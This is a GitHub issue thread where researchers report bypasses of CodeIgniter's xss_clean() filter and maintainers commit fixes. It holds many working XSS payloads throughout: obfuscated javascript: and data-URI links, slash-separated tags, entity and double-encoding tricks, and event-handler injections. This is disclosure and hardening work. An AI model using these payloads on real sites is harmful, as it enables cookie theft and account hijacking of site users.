Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

CodeIgniter Bypass #2667

Closed
soaj1664 opened this Issue · 87 comments

10 participants

@soaj1664

Hi Guys!

I had a chance to test CodeIgniter against XSS attack. I have found few things that might be interested for you guys:

I have created a test-bed here: http://xssplayground.net23.net/clean10.html

The area is protected by CodeIgniter but for testing purpose OUTPUT reflects in Standard HTML, Script, Attribute and URL context. In the following manner, in my test-bed output reflects in different context.

Output reflects here (Standard HTML Context): <?php echo cleanCode($_POST['name']); ?> <br><br>

Output reflects in attribute context <div class='<?php echo cleanCode($_POST['name']);?>'>I am an attribute context</div> <br><br>

Output reflects in URL context <a href='<?php echo cleanCode($_POST['name']);?>'>I am URL context</a> <br><br>

Output reflects in script context <script> var a = '<?php echo cleanCode($_POST['name']);?>'; </script>

The following injection will BYPASS CodeIgniter in "attribute" and "URL" context:

'; onmouseover=confirm(location);//

OR

'; onmouseover=confirm(cookie);//

In CodeIgniter's black-list you guys are checking against "document.cookie" and "window.location". The same purpose can be achieved by using cookie and location word! In above cases, if I inject

'; onmouseover=alert(window.location);//

I got the following output which stops XSS:

Attribute context: <div class='\'; onmouseover=alert&#40;[removed]&#41;;//'>
URL context: <a href='\'; onmouseover=alert&#40;[removed]&#41;;//'>

Also in Chrome, the following injection bypassed URL context only:

j a vas cript:confirm(1);

If I simply inject javascript:alert(1) then CodeIgniter works perfectly and removed javascript but in the above manner, injection works.

Let me know, if I missed something :)

Regards

@soaj1664ashar

@soaj1664

Hi again,

Here is another CodeIgniter Bypass and this time it is in STANDARD HTML Context:

<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

After CodeIgniter pass, the above vector becomes:

<div/ onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

and it works like charm.

Let me know in case you have any question. Thanks!

Regards,

@soaj1664ashar

@AdwinTrave

What version of CodeIgniter is this? Is this the newest development version or CI 2.1.4?

@soaj1664

Hi again,

I have set-up the CodeIgniter from https://github.com/mpdesign/mp/blob/56fc838c44d1c91534dc2f4c4af08bc057216a82/mp/libs/security.php

I am not sure about this version but I have again checked the version of CodeIgniter available here:

https://raw.github.com/EllisLab/CodeIgniter/develop/system/core/Security.php

and it seems bypasses will work in this too. You can reproduce the bypasses as I have mentioned in my report. Thanks!

Regards,

@soaj1664ashar

@soaj1664

Hi,

By keeping in mind the regular expression that deals with stripping image tags in CodeIgniter: https://raw.github.com/EllisLab/CodeIgniter/develop/system/core/Security.php

/**
* Strip Image Tags
*
* @param string $str
* @return string
*/
public function strip_image_tags($str)
{
return preg_replace(array('#<img\s+.*?src\s*=\s*["\'](.+?)["\'].*?\>#', '#<img\s+.*?src\s*=\s*(.+?).*?\>#'), '\\1', $str);
}

You are considering that after the word "img", there should be an space but one can do stuff like that and it is still valid XSS vector and browsers render the following vector

<img/src=%00 id=confirm(1) onerror=eval(id)

See Fiddle for vector: http://jsfiddle.net/ZFV4B/1/ + another variation of above vector that works: http://jsfiddle.net/ZFV4B/2/

CodeIgniter will convert the "(" and ")" signs into respective entities like eval&#40;id&#41; and in JavaScript context, they are perfectly valid. It means eval function will work and will execute the value of "id" attribute i..e, confirm(1). So at the end of day, the above XSS vector will bypass CodeIgniter's strip_image_tags function.

Regards,

@soaj1664ashar

@soaj1664 soaj1664 referenced this issue
Merged

re-fixes #2637 #2669

@ragingdave

So for at least some of the errors not having a space after the tag causes it to bypass XSS cleaning.
Is that correct?
EDIT: more specifically, having a / after the tag allows there to be no space between the tag and attributes?

@soaj1664

@DaveMC08 Yes in case of image strip function and vector bypasses it.

In the following case, I am leveraging CodeIgniter's functionality (remove style attribute but leaves onmouseover intact) to bypass it.

<div/style=content:url(data:image/svg+xml);visibility:visible onmouseover=confirm(1)>Bring-Mouse-Over-Me</div>

Cheers

@soaj1664ashar

@ragingdave ragingdave referenced this issue from a commit in ragingdave/CodeIgniter
@ragingdave ragingdave partial fix #2667
this fixes the ability to replace a space with a /
and skip the XSS filtering
46e77e0
@ragingdave

This pull request fixes the idea that a space can be substitued however, I was unable to verify the inital post regarding:
'; onmouseover=alert(location);//
bypassing the filter. I am testing with the develop branch Security.php and using xss_clean function from the controller.

@soaj1664

@DaveMC08 : I can see that now you have added / along with space.

As far as your question about:

'; onmouseover=alert(location);//

is concerned, I try to explain. If I am using CodeIgniter for every context i.e., Standard HTML, URL, Attribute and Script context and attacker is able to inject the above line then the above injection will bypass attribute and URL context e.g., If you will input the above line in the following demo that has CodeIgniter Protection in all context:

http://xssplayground.net23.net/clean10.html

and if you will bring your mouse pointer over the attribute and URL context, you will see XSS alert box (Tested in Firefox).

I haven't read the documentation regarding the goal of CodeIgniter. Is it ONLY for HTML-context? If yes, then you can ignore the above bypass. Just to explain my point, in case of htmLawed, I found the following line in their documentation: http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawed_README.htm#s2.8

"htmLawed is meant for input that goes into the body of HTML documents."

If this is also the case with CodeIgniter then you may ignore but please mention somewhere that this is sort of limitation that CodeIgniter only works in STANDARD HTML CONTEXT.

I hope it helps.

Regards,

@soaj1664ashar

@ragingdave

We will probably want to bring in @narfbg to figure what the goal of the XSS filtering is.

@narfbg narfbg closed this issue from a commit
@ragingdave ragingdave partial fix #2667
this fixes the ability to replace a space with a /
and skip the XSS filtering
46e77e0
@narfbg narfbg closed this in 46e77e0
@narfbg
Owner

I'm not the author of the XSS filter, but AFAIK it aims to filter everything.

@narfbg narfbg reopened this
@soaj1664

@narfbg @DaveMC08 I have just found another bypass of CodeIgniter. In order to reproduce this bypass, make sure TURN-OFF XSS Auditor in Chrome (see this: http://peter.sh/experiments/chromium-command-line-switches/#disable-xss-auditor). The bypass is specific to Chrome browser:

In CodeIgniter code at one point you guys are checking for link so that you can remove malicious JS links:

if (preg_match('/<a/i', $str))
{
$str = preg_replace_callback('#<a\s+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
}

The above RE expects there would be an SPACE after anchor tag but forward slash (/) is perfectly legit and links works.

e.g., <a/href= ... would bypass this RE in CodeIgniter. Now I show you the XSS vector:

<a/href[\0C]=ja&Tab;vasc&Tab;ript&colon;confirm(1)>XXX</a>

// [\0C] stands for FORM FEED and it works in chrome. see http://jsfiddle.net/23sqP/

In the above vector, I am using HTML5 entities so that I can bypass check for the word "javascript" and instead of "alert" I have used "confirm". Here is the fiddle of the above vector: http://jsfiddle.net/23sqP/

I have used \0C because in the following code in CodeIgniter:

protected function _js_link_removal($match)
{
//echo "in link removal";
return str_replace($match[1],
preg_replace('#href=.*?(?:alert\(|alert&\#40;|javascript:|livescript:|mocha:|charset=|window\.|document\.|\.cookie|<script|<xss|data\s*:)#si',
'',
$this->_filter_attributes(str_replace(array('<', '>'), '', $match[1]))
),
$match[0]);
}

you guys are expecting = after "href" and in order to defeat this RE, I have used \0C after href and before = symbol. Closely look at the fiddle given above for XSS vector.

Regards,

@soaj1664ashar

@soaj1664

@DaveMC08 @narfbg Another bypass and this time it is based on "base64" and data URI: The following vector bypasses regular expressions in used:

<a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a>

and this is a cross-browser vector. It works in Chrome (no need to turn-off XSS auditor) and Firefox also. XSS vector can also be found in the fiddle: http://jsfiddle.net/AdSN8/

Cheers,

@soaj1664ashar

@soaj1664

@DaveMC08 @narfbg Yet another bypass and this time it is specific to Firefox browser and the underlying reasons are:

-- xlink:href is not part of CodeIgniter's blacklist
-- The following code is looking for string "javascript:" and can be bypassed with the help of "javascript:"

protected function _js_link_removal($match)
{
//echo "in link removal";
return str_replace($match[1],
preg_replace('#href=.*?(?:alert\(|alert&\#40;|javascript:|livescript:|mocha:|charset=|window\.|document\.|\.cookie|<script|<xss|data\s*:)#si',
'',
$this->_filter_attributes(str_replace(array('<', '>'), '', $match[1]))
),
$match[0]);
}

Here is the XSS vector that bypassed CodeIgniter's XSS protection:

<math><a/xlink:href=javascript&colon;confirm&lpar;1&rpar;>click

To see this in action, look at this fiddle: http://jsfiddle.net/zuD3U/1/

Cheers,

@soaj1664ashar

@narfbg
Owner

Okay ... since you found these and this started with another fix from you, could you try to deal with the newly found issues as well?

@soaj1664

@narfbg Your question is to me or .. ? I think there is a whole lot of other stuff that needs to be addressed. It would be great if you will let me know developer's email ID who is going to fix these issues and some others.

@narfbg
Owner

Oh, yes - that was for you. :)

With CI being open-source and available publicly for everybody to both use and improve, there's no "developer's email". The person who fixes it is the one that wants to and you seem to be motivated, hence why I asked if you could do it (+ I'm not an expert in XSS, so I couldn't do much on my own).

@soaj1664

@narfbg Ok! I will start fixing stuff! :) Just let me know your email ID?

@narfbg
Owner

@soaj1664 Cool. :)

As for my email - I don't like mentioning it in plain-text here ... for obvious reasons. You can find it in the commit log if you really need it, although I don't understand why.

@soaj1664 soaj1664 referenced this issue in nette/nette
Closed

Online Demo for XSS Testing #1301

@soaj1664

Hi again,

Would you please tell me about the guy who has written xss_clean function: https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L321

Also Is there any one who is interested in working with me in fixing all the issues/bypasses? Some of them are part of this Issue and many of them still unreported. I do not want to make all bypasses public because it may hurts some sites ...

Cheers!

@ivantcholakov

As I can see, sanitizing methods in CI_Security class are based on regular expressions kind of scanning. Then this game of finding exploits could be endless. I know that adopting external libraries is a tough as decision, but maybe, in long term a different approach about security should be adopted. It is based on parsing the data as HTML source, and then filtering what is not acceptable - javascripts, some tags, no tags at all, etc. I use HTMLPurifier (http://htmlpurifier.org/) for this purpose. Here is an example:

if (!function_exists('nohtml')) {

    function nohtml($string) {

        static $purifier;

        if (!isset($purifier)) {

            $config = HTMLPurifier_Config::createDefault();

            $config->set('Cache.SerializerPath', HTMLPURIFIER_CACHE_SERIALIZER_PATH);
            $config->set('Core.Encoding', 'utf-8');
            $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
            $config->set('HTML.TidyLevel', 'light');
            $config->set('Core.ConvertDocumentToFragment', false);
            $config->set('Core.RemoveProcessingInstructions', true);
            @ $config->set('HTML.Allowed', '');

            $purifier = @ new HTMLPurifier($config);
        }

        return trim(@ $purifier->purify($string), " \t\n\r\0\x0B");
    }

}

This filter keeps the text, but removes html/php/asp tags and javascripts. Parsing as HTML is an approach without (well, as far as I know) theoretical possibility somebody to outsmart it. Relying on regular expressions based filters gets to what I see - endless talks about exploits found.

The solution that I can see is an exception for security reasons for the philosophy "don't bundle external libraries".

@soaj1664

@ivantcholakov HTML Purifier is also subject to bypasses e.g., see http://repo.or.cz/w/htmlpurifier.git/blob/6f389f0f25b90d0b495308efcfa073981177f0fd:/NEWS

Recently I found a vector that can DoS any web application who is using HTML Purifier. As far as I can see it is not a good idea to give up in favor of other solution. Also HTML Purifier has a limitation that it does not deal with "SCRIPTING CONTEXT" plus PERFORMANCE, and complexity issues (I think).

xss_clean() function is not that bad ... In-fact it only needs a good audit and some fine-grained tuning.

@ivantcholakov

OK. But its approach is better, right?

@soaj1664

@ivantcholakov In general "Yes" because HTML Purifier is based on white-list while CodeIgniter works on black-list based approach!.

@narfbg
Owner

Continuing the conversation from another thread ...

Entities &colon;, &newline;, &tab;, &lpar;, &rpar; are banned.
Attribute 'xlink:href' is also banned.

I need to go through characters following tag name that get executed that you've mentioned in #2771 (comment)

This thread has quite the volume ... could you tell if there's something else left standing?

@soaj1664

Yes! Along with button tag, svg tag should be added in naughty tags

AND

At the same time alert is not enough, you have to add confirm, prompt, open, find, print, InputBox+1 and MsgBox+1 also. Though in real life, attacker normally does not do alert stuff instead he will move the cookie to his controlled domain ...

AND

You have black-listed document.cookie only ... the same purpose can be achieved by only using the word cookie. Infact on the following URL, you will find more than thirty unique way to get the cookie ...http://pastie.org/private/nkryfy49l1oy8hvblh90q

The same applies for document.location ...

There are some other issues also....

@narfbg
Owner

I don't think we can ban 'cookie', nor 'location' ... not without something preceeding/following those words. I'm sure you understand why. Unless of course you mean adding it to this array where 'cookie' is already present.

@soaj1664

@narfbg Isn't these words can be banned by adding here: https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L128

Would you please explain WHY? Why not? If Why then what is the purpose of only having an alert ...

@narfbg
Owner

Actually, the line that you're pointing at is exactly where it must not be added, because $_never_allowed_* replacement is done straight on the xss_clean() input string, not taking into account whether the word found is inside a tag.
In fact, there's no 'alert' in there. :) Did you mean the _js_link_removal() instead or something else?

The sole reason that so much XSS-related issues are left to deal with up until now is that this thing is so huge and complex that nobody can motivate themselves to do anything with it. It's no surprise we're both mixing stuff and confusing each other.

@soaj1664

One more thing I also noticed is: https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L488

You convert
eval('some code') into eval&#40;'some code'&#41;
which is, I think WRONG because all modern browsers execute this in JavaScript context and it is still renderable!

e.g.,

<img src=x onerror=alert&#40;1&#41> and related fiddle: http://jsfiddle.net/enQ57/

I would suggest use [removed] instead of &#40

@narfbg
Owner

That is again done globally, meaning that it doesn't take into account it's position. Such a transformation should be done depending on where eval() is found. That line has in fact nothing to do with XSS cleaning ... I have no idea why it is there.
Even though the comment block above it does mention JavaScript and the pattern itself includes 'alert', it looks like a protection against PHP code injection. Whoever wrote this just put 'alert' on every line ...

@soaj1664

I am looking at other issues right now. The one thing that you may like to include now is add the following regular expression in js_link_removal and js_img_removal functions:

[\s"\'[backtick];\/0-9\=\x00\x0B\x09\x0C\x3B\x2C\x28]

Instead of word backtick, it would be ` . GitHub formatting :(

e.g.,

<a[\s"\'[backtick];\/0-9\=\x00\x0B\x09\x0C\x3B\x2C\x28]+([^>]*?)(?:>|$)

@narfbg
Owner

Yea, I'm looking into this ...

  • \x3B is a semicolon ; (already included after the backtick)
  • \x2C is a comma , (note to self)
  • \x28 is left parenthesis ( - is this really parsed like you're saying? If so, isn't right parenthesis parsed as well?

The rest of the hex-formatted characters you've listed in that pattern are already removed by remove_invisible_characters().

Out of curiosity ... would that mean that every other character (that is not in your pattern) is a valid attribute name character? I don't see any other reason why such a long list of characters is allowed as being the separator.

P.S.: Just put your code on a separate line, prepended either by a tab or 4+ spaces and the whole line will appear as code, where you can use a backtick safely inside.

@soaj1664

@narfbg Over the period of time, different researchers have fuzzed these characters (some works in one browser while other works in other browser (old or new versions)). The tool now a days use for fuzzing is: http://shazzer.co.uk/home by Gareth Heyes. In order to be on the safe side, it would be a better option to add support for these.

In my presentation (at the end): http://slid.es/mscasharjaved/cross-site-scripting-my-love I have shown some vectors related to these fuzzed characters.

@narfbg
Owner

That ... didn't really answer my questions. :)

@soaj1664

Would that mean that every other character (that is not in your pattern) is a valid attribute name character?

No.

For ( and ) , I try to fuzz and let you know while for \x0B, \x00 and \x0C, examples are given.

@narfbg narfbg closed this issue from a commit
@narfbg narfbg Partially fix #2667 12445ca
@narfbg narfbg closed this in 12445ca
@narfbg narfbg reopened this
@narfbg
Owner

OK, so we're left with what you said here: #2667 (comment)

@soaj1664

Hi again!

Previously you were using the following line that deals with eventhandlers e.g., onmouseover, onload etc.

$evil_attributes = array('on\w*', 'style', 'xmlns', 'formaction');

I made a test-bed here: http://xssplayground.net23.net/clean11.html and the above protection line works fine. e.g., the following XSS attack vector has been correctly detected.

<h1 onmouseover=alert(1)>heading one</h1>

BUT NOW the above code looks like:

$evil_attributes = array('style', 'xmlns', 'formaction', 'form', 'xlink:href');

and you have moved the regular expression i.e., on\w* in:

protected $_never_allowed_regex = array(
            'javascript\s*:',
            '(document|(document\.)?window)\.(location|on\w*)',
            'expression\s*(\(|&\#40;)', // CSS and IE
            'vbscript\s*:', // IE, surprise!
            'Redirect\s+30\d',
            "([\"'])?data\s*:[^\\1]*?base64[^\\1]*?,[^\\1]*?\\1?"
    ); 

I have another test-bed http://xssplayground.net23.net/clean100.html that is using the latest code and now the above XSS vector works :(

<h1 onmouseover=alert(1)>heading one</h1>

I think the best position for the regular expression on\w* would be the OLD ONE ...

Let me know if I missed something ...

PS: You have added form as a part of evil_attributes array but form is not an attribute as far as I know. I think, you would like to add action attribute of form ...instead of form

@narfbg
Owner

On the 'form' attribute: #1705 (comment)

@soaj1664

@narfbg Another bypass (works in IE7, IE8, IE9):

<marquee o%00nstart=confirm(1)>XSSed</marquee>

This will defeat the regular expression CodeIgniter is using i.e., on\w* . Would you please double check on your local set-up? You can reproduce this on my test-bed: http://xssplayground.net23.net/clean100.html

@soaj1664

@narfbg Another bypass and this one is related to Firefox browser.

<math><solve i.e., x=2+2*2-2/2=? href=//goo.gl/YF9NYG>X

JsFiddle of the above XSS vector: http://jsfiddle.net/TVXb3/

Please add math tag in the list of naughty elements. Last time I have suggest xlink:href attribute of math tag and you have added. In the above XSS vector there is no use of xlink:href. Thanks!

@narfbg
Owner

I don't know how you setup that test-bed and what exactly it does, but even without having one - remove_invisible_characters() should remove %00 and I've tested that previously.

Why is math dangerous?

@soaj1664

@narfbg That's why I said in my comment, please double check on your local set-up! Better would be make an online demo or test page where we can test CodeIgniter. On my test-bed, I have set-up CodeIgniter's xss_clean function and the output reflects in standard HTML context after having xss_clean pass. I still believe that it is a valid bypass. PLEASE CHECK AGAIN.

math tag is dangerous because as you can see I am accessing the referrer property of the document by injecting a textarea and as soon as key event occurred in the text area, it shows referrer. At the same time, the attacker can also present a phishing page to the victim.

@narfbg
Owner

Yeah, you're right ... remove_invisible_characters() worked, but a previous commit broke replacements for attributes: dbd999f

<math>: 505431a

@soaj1664

@narfbg Yes. Now in my up-to-date test-bed ... the bypasses does not work. It was due to last commit ... CodeIgniter's xss_clean is getting better and better :-)

@soaj1664

The function strip_image_tags does its job by looking at img tag only. The same purpose can be achieved via image tag e.g.,

<image src=http://jonathanmh.com/wp-content/uploads/2012/11/ellislab_codeigniter_new_website-1024x539.png>

I think, we need to add support of image tag here: https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L452 (May be a new if that looks for image). Thanks!

@aanbar

I guess there should be a test with all examples, otherwise a slight change might override a previous protection in place.

@soaj1664 Since you have a great experience in XSS & this kind of stuffs, It would be great if you can make these tests available in the core, at least add what's protected in the current state.

Currently I can see one simple test only, which doesn't cover the commits of the previous few weeks.

@soaj1664

@aanbar I think what I can see now is CodeIgniter looks great as far as XSS mitigation is concerned. @narfbg have added most of the stuff I have suggested and at the same time I have tested ...

No more stuff to add the moment .... It looks lot better and now good protection. I have tested it against the cheat sheet available at: http://pastebin.com/u6FY1xDA and no bypass ...

Now please make a public announcement that sites that are using CodeIgniter ... they should upgrade ...

@narfbg
Owner

He was talking about unit tests, which would've warned us that "remove evil attributes" was broken.

@soaj1664

@narfbg If you will find time ...please set-up an official test-bed where people can playaround with CodeIgniter's xss_clean function. e.g., see htmLawed: http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedSafeModeTest.php AND HTMLPurifier http://htmlpurifier.org/demo.php (both have test-beds available from the developers of protection).

Another thing that needs clarification in document is: What is the exact scope of CodeIgniter's xss_clean function?

In my test-bed, I have tested CodeIgniter ONLY in standard HTML context.

What about URL, attribute, CSS and script context? Is CodeIgniter works or gives same level of protection in these contexts also? e.g.,

// If untrusted data ends up as a value of attribute ...
<div class='<?php echo xss_clean($_GET['input']);?>'>Attribute Context</div>

// If untrusted data ends up as a value of style attribute i.e., CSS context
<div style='<?php echo xss_clean($_GET['input']);?>'>Style/CSS Context</div>

//If untrusted data ends up as a value of "href" i.e., URL context
<a href='<?php echo xss_clean($_GET['input']);?>'>URL context</a>

//If untrusted data ends up in scripting context

<script> var a = '<?php echo xss_clean($_GET['input']);?>'; </script>

This thing (i.e., scope of CodeIgniter's xss_clean function) has to be clarified in a clear and concise manner in the documentation.

@soaj1664 soaj1664 referenced this issue in GrahamCampbell/Laravel-Security
Closed

Vulnerabilities And Demo #10

@dnkolegov

Hi Guys!

I took part in testing of XSS Clean function on xssplayground.net23.net/clean100.html deployed by @soaj1664.
I could not perform arbitrary JavaScript but I found several bugs in the function that can be used for bypassing of security mechanisms on client-side. These bugs are accessed by me as low level.

It is proposed to fix these bugs to reduce the attack surface and enhance client-side security of the aplication users.

1) HTML and JavaScript namespace attack.

Michal Zalewski described very interesting vectors in his "Postcards from the post-XSS world" paper (http://lcamtuf.coredump.cx/postxss/. This example will be used next.

Input: <s/id=is_public>
Output: <s/id=is_public>

String is not sanitized. This can lead to the following attack:

<s/id=is_public>     ← Injected markup

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)

is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}

Recommendation: sanitize ID and NAME attributes.

2) Comment string <! is not sanitized. It comment only first tag.
Input: <!
Output: <!

This can lead to the following attack:
<!
Recommendation: sanitize <!.

3) Keywords supporting.

xss_clean() function sanitizes "javascript" and " vbscript" but does not sanitize another languages actual for IE: "jscript", "wscript" and "vbs".

xss_clean() function handles "alert" and "msgbox" but does not handle another analogs: "prompt", "confirm"

Recommendation: add supporting for these keywords.

Thanks.

@avlidienbrunn

Hey!

I've found another bypass in @soaj1664 's testbed (normal HTML context):

<a' href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!

This is due to three things:
1. <a> tags can be inserted by appending an escaped characted after tag name and making the filter remove a bad js handler, "<a' onerror=>" becomes "<a ' >"
2. href attribute is not filtered, what's inside gets decoded (%253c => %3c)
3. data: URI handlers are not blocked. However form/iframe/anchor with href to data: uri with script will execute in the context of the domain it's on in Firefox and Opera (not tested in Safari).

The final rendition becomes:

<a ' href=data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E >

... Which is a perfectly working XSS vector :)

(PS. Trick #1 can also be used to bypass strip_image_tags DS.)

Cheers,
Mathias Karlsson

@narfbg
Owner

@soaj1664

HTML context only.

@dnkolegov

1) 'is_public' is a valid id or name attribute, what's to sanitize on it?
2) I don't see how <! alone is an attack and your explanation doesn't show anything else.
3) I'll look into that.

@avlidienbrunn

$ cat application/controllers/Test.php 
<?php
class Test extends CI_Controller {

    public function index()
    {
        echo $this->security->xss_clean("<a' href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!"), "\n";
    }
}
$ php index.php test/index
<a  > / me!
@soaj1664

@narfbg Thanks for HTML Context only information!

XSS vector by @avlidienbrunn works in my set-up. I have checked this. Would you please check again? At the same time, please consider my request of making an official online demo page (in order to avoid any confusion). At the same time, the only party who is going to benefit from this testing is CodeIgniter. This in turns helps securing thousands of sites which are using it.

@narfbg
Owner

He already said that he tested in in your "test bed", that's why tested it myself and pasted the result. Retesting it won't solve anything. I don't know how you've setup that page, but it is obviously not using the latest code.

Which leads us to your multiple requests for me to setup an official "test XSS page" ...
I can't do that. To cut to the chase, bottom line is - only EllisLab can and we've already waited for them to setup a "nighly user guide build" for an year already, so I won't even bother asking about this.

@soaj1664

@narfbg The test-bed is using the latest code and the following variations DOES NOT work:

<a/ href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!

AND

<a href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!

The only variation described by @avlidienbrunn works. Previous vectors that I have reported and you have added support ... they were working fine on my test-bed plus your local set-up.

Anyhow if EllisLab does not bother ... then who cares ...

@narfbg
Owner

This is confusing. What works, what doesn't work and what does "work" mean? :)

narf@vaio:~$ cp -r github/CodeIgniter/ /var/www/cixsstest
narf@vaio:~$ cp /var/www/ci/application/controllers/Test.php /var/www/cixsstest/application/controllers/Test.php
narf@vaio:~$ cat /var/www/cixsstest/application/controllers/Test.php 
<?php
class Test extends CI_Controller {

    public function index()
    {
        echo $this->security->xss_clean("<a' href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!"), "\n";
        echo $this->security->xss_clean("<a href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=> /onerror=Click me!"), "\n";
    }
}
narf@vaio:~$ php /var/www/cixsstest/index.php test/index
<a  > / me!
<a > / me!
narf@vaio:~$ 
@soaj1664

@narfbg "Works" means XSS bypass :) Anyhow the current version is far better than the previous one ... Otherwise we can continue this Cat & Mouse game ..

@narfbg
Owner

So what works then? If you're talking about this:

<a ' href=data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E >

(which is what @avlidienbrunn said it would be the final output, after xss_clean())

This is what xss_clean() does with it:

<a ' >alert&#40;1&#41;[removed] >
@avlidienbrunn

@narfbg Try this:

<a\' href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=>Click me!

Just downloaded latest and did so:

$test = new CI_Security();
echo $test->xss_clean("<a\' href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=>Click me!");
die;
@narfbg
Owner

@avlidienbrunn

Yes, that does indeed bypass the filter and should be looked into.
However, do note that this is not a proper test. The CI_Security class has dependancies, it doesn't work in stand-alone mode.

@soaj1664

@avlidienbrunn It even works with other escape characters like &, " etc e.g.,

 <a\& href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=>Click me!

AND

<a\" href=data:text/html,%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E onerror=>Click me!

I think, the root cause is regular expression in : https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L449
because the regular expression does not expect \

@narfbg
Owner

That too, but I think the bigger issue here is URL encoding. xss_clean() currently only deals with HTML entities.

@soaj1664

@narfbg Isn't class CI_Security has only dependency (by keeping in mind XSS only) for remove_invisible_characters($str) which is part of https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Common.php?

@avlidienbrunn

@narfbg I put in the dependencies just for a quick proof-of-concept. Now that I've looked at the source (which maybe I should have from the start), I agree there's only two problems, the backslash bug and "double" URL encodings. Data URI's are filtered just fine.

@narfbg
Owner

@soaj1664 No, there are some config_item() calls to fetch the character set, which is important in decoding entities.

@narfbg
Owner

As suggested by @dnkolegov (3): a30a717
Backslashes: 3b9990c

URL encoding still pending.

@narfbg
Owner

Solves n-time URL encoding: 29e1264

Anything left that you guys recall?

@soaj1664

@narfbg keyword vbs is also used for vbscript execution in IE:

e.g., see <a href="http://jsfiddle.net/x3434/1/">http://jsfiddle.net/x3434/1/</a> [In IE]</p> <p>Though this will not bypass but you asked for recall ... :) </p>

@narfbg
Owner

Huh ... that's strange.
I guess we'll have to filter the language attribute as well. What other usages does that have?

@narfbg
Owner

@soaj1664 This is at least the third time already that you're asking for contact in private ... don't get me wrong, but I don't see a reason to do that. What is it that can't be discussed here?

@soaj1664

@narfbg I am not going to give your email to spammers :) Anyhow if you are not willing to ping me then OK ... Previously you had objection on giving your email address but this time I had given mine and I asked for pinging ... Take Care!

@narfbg
Owner

@soaj1664 It's not about who gives their e-mail address. I've already said this - anybody can get my e-mail from the commit logs (github doesn't show it, git log shows it).
You're just not telling me what there is to discuss that can't be done in public, and CodeIgniter development is public.

@soaj1664

@narfbg Make a public announcement that sites should upgrade to this version. I can see sites (publicly I can not tell you the names) are still using the old version. It would be good if you will make a public announcement ...

@narfbg
Owner

Such an announcement is made for all CodeIgniter releases. This version is not yet released.

@rafaybaloch

Hello,

How are you doing?

The following payload successfully bypasses your filtering mechanisms:
http://jsfiddle.net/gVMLD/

As, Alex pointed out on twitter before that the filter is decoding certain entities. So, i tried to figure out more about the behaviour, and it seems like if we double encode a payload, it manages to bypass the filter, due to the fact that the filter is decoding the entities once, it is advised that the filter should not be encoding any html entities.

Thanks,

Rafay Baloch

http://rafayhackingarticles.net

@narfbg narfbg referenced this issue from a commit
@narfbg narfbg xss_clean() improvement
Fixes this: #2667 (comment)
e7a2aa0
@narfbg
Owner

@rafaybaloch Thanks for reporting this, see the above referenced commit.

@rafaybaloch

Thanks.

@avlidienbrunn

Hi.

Here's another one:

Input: <a$href="data:text/html,%style=""3cscript>alert((1)</sstyle=""cript>" onerror=>hello
Output: <a href="data:text/html,%3cscript>alert &#40;1&#41;&lt;/script&gt;" >hello
@narfbg
Owner

Fixed.

@avlidienbrunn

Now do this one!

Input: <a bypass="style=">"" href="javascript&#00058alert(1)">hello
Output: <a bypass="" href="javascript&#00058alert&#40;1&#41;">hello
@narfbg
Owner

... can't you just post all bypasses that you're aware of?

@avlidienbrunn

Sorry, didn't mean to come off as an asshole. I'm not aware of any other bypasses, I just tried to bypass it again after the patch and came up with that.

I think the biggest issue there is that html entities doesn't have to end with ";", and can be prepended with more than 2 0's. In the regex for the hexadecimal html entity, there's "0*" before the digits and I think the pattern for non-hexadecimal needs this too.

@narfbg narfbg referenced this issue from a commit
@narfbg narfbg More xss_clean() improvements
Issue described in #2667 (comment)
+ a false positive
46d2072
@narfbg
Owner

Okay, thanks - that was a good hint. :)

@soaj1664

@narfbg CodeIgniter's Version 2.2.0 has been released and in the change logs http://ellislab.com/codeigniter/user-guide/changelog.html no mention on Improved security in xss_clean(). Isn't it strange or overlooked? I think it should be part of an announcement.

@narfbg
Owner

It's not part of the changelog because it's not in the release. The develop branch is way ahead of the 2.x tree and we'd risk breaking the whole framework if we even tried to backport this.

@RonnieSkansing

As 2.x is open to XSS as described in this issue, I think it would be responsible to mention that is has known vuln/holes in the docs or even disencourage use, as users are blindly trusting it atm and should not, as it is / has not been patched.

@narfbg
Owner

@RonnieSkansing We've just released version 2.2.1 with these and some other security fixes.

I'm closing this issue now that it's addressed in both version trees and it got hard to follow anyway. Thank you all.

@narfbg narfbg closed this
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.